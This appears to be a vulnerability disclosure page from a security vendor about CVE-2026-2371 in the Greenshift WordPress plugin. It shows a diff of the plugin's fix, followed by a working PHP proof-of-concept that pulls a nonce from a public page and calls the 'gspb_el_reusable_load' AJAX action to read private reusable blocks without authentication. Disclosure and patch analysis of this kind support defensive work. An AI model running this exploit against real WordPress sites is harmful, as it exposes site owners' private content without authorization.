 																		<option value="gemini-2.5-flash-image-preview" <?php selected($aiimagemodel, 'gemini-2.5-flash-image-preview'); ?>> Google Flash 2.5 </option>
 																		<option value="gemini-3-pro-image-preview" <?php selected($aiimagemodel, 'gemini-3-pro-image-preview'); ?>> Google Pro 3 Preview </option>
-																		<option value="gpt-image-1" <?php selected($aiimagemodel, 'gpt-image-1'); ?>> GPT Image 1 </option>
+																		<option value="gpt-image-1" <?php selected($aiimagemodel, 'gpt-image-1'); ?>> GPT Image 1.5 </option>
 																		<option value="gpt-image-1.5" <?php selected($aiimagemodel, 'gpt-image-1.5'); ?>> GPT Image 1.5 </option>

 																	</select>
@@ -1141,9 +1128,10 @@
 																<td>
 																	<select name="aidesignmodel">
 																		<option value="claude-haiku-4-5" <?php selected($aidesignmodel, 'claude-haiku-4-5'); ?>> claude-haiku-4-5 </option>
-																		<option value="claude-sonnet-4-5" <?php selected($aidesignmodel, 'claude-sonnet-4-5'); ?>> claude-sonnet-4-5 </option>
-																		<option value="claude-opus-4-5-20251101" <?php selected($aidesignmodel, 'claude-opus-4-5-20251101'); ?>> claude-opus-4-5-20251101 </option>
+																		<option value="claude-sonnet-4-6" <?php selected($aidesignmodel, 'claude-sonnet-4-6'); ?>> claude-sonnet-4-6 </option>
+																		<option value="claude-opus-4-6" <?php selected($aidesignmodel, 'claude-opus-4-6'); ?>> claude-opus-4-6 </option>
 																		<option value="gemini-3-flash-preview" <?php selected($aidesignmodel, 'gemini-3-flash-preview'); ?>> gemini-3-flash-preview </option>
+																		<option value="gemini-3-pro-preview" <?php selected($aidesignmodel, 'gemini-3-pro-preview'); ?>> gemini-3-pro-preview </option>


 																	</select>
@@ -1486,7 +1474,25 @@
 				}

 				$gspb_json_filename = 'settings_backup.json';
-				$gspb_backup_data = json_encode($global_settings, JSON_PRETTY_PRINT);
+
+				// Exclude API keys from backup
+				$backup_settings = $global_settings;
+				$keys_to_exclude = [
+					'googleapi',
+					'turnstile_site_key',
+					'turnstile_secret_key',
+					'openaiapi',
+					'claudeapi',
+					'deepseekapi',
+					'geminiapi'
+				];
+				foreach ($keys_to_exclude as $key) {
+					if (isset($backup_settings[$key])) {
+						unset($backup_settings[$key]);
+					}
+				}
+
+				$gspb_backup_data = json_encode($backup_settings, JSON_PRETTY_PRINT);

 				if (!$wp_filesystem->put_contents($dir . $gspb_json_filename, $gspb_backup_data)) {
 					throw new Exception(esc_html__('JSON is not saved due the permission!!!', 'greenshift-animation-and-page-builder-blocks'));
@@ -1685,6 +1691,10 @@
 			if ($content_post->post_status !== 'publish') {
 				wp_send_json_error('Block not published');
 			}
+			// Don't serve content if post is password protected
+			if (!empty($content_post->post_password)) {
+				wp_send_json_error('Block is password protected');
+			}
 			$content = '';
 			$content = $content_post->post_content;
 			$content = apply_filters('the_content', $content);

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2371 - Greenshift <= 12.8.3 - Missing Authorization to Unauthenticated Private Reusable Block Disclosure via 'gspb_el_reusable_load'
<?php

$target_url = 'http://vulnerable-site.com';
$post_id = 123; // Target reusable block post ID

// First, we need to get a valid nonce from a public page using the shortcode
// The shortcode [wp_reusable_render] with ajax="1" exposes the nonce
$nonce_url = $target_url . '/?p=1'; // Any public page with the shortcode
$ch = curl_init($nonce_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Extract nonce from the page (simplified pattern match)
// In reality, you'd need to parse the page for the specific nonce
// This is a simplified demonstration
preg_match('/"nonce":"([a-f0-9]+)"/', $response, $matches);
$nonce = isset($matches[1]) ? $matches[1] : '';

if (empty($nonce)) {
    echo "Could not extract nonce. The site may not have the vulnerable shortcode.";
    exit;
}

// Now exploit the vulnerability
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = [
    'action' => 'gspb_el_reusable_load',
    'post_id' => $post_id,
    'nonce' => $nonce
];

$ch = curl_init($ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$result = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200 && !empty($result)) {
    echo "Vulnerable! Retrieved content for post ID $post_id:n";
    echo $result;
} else {
    echo "Exploit failed. HTTP Code: $http_coden";
    echo "Response: $resultn";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School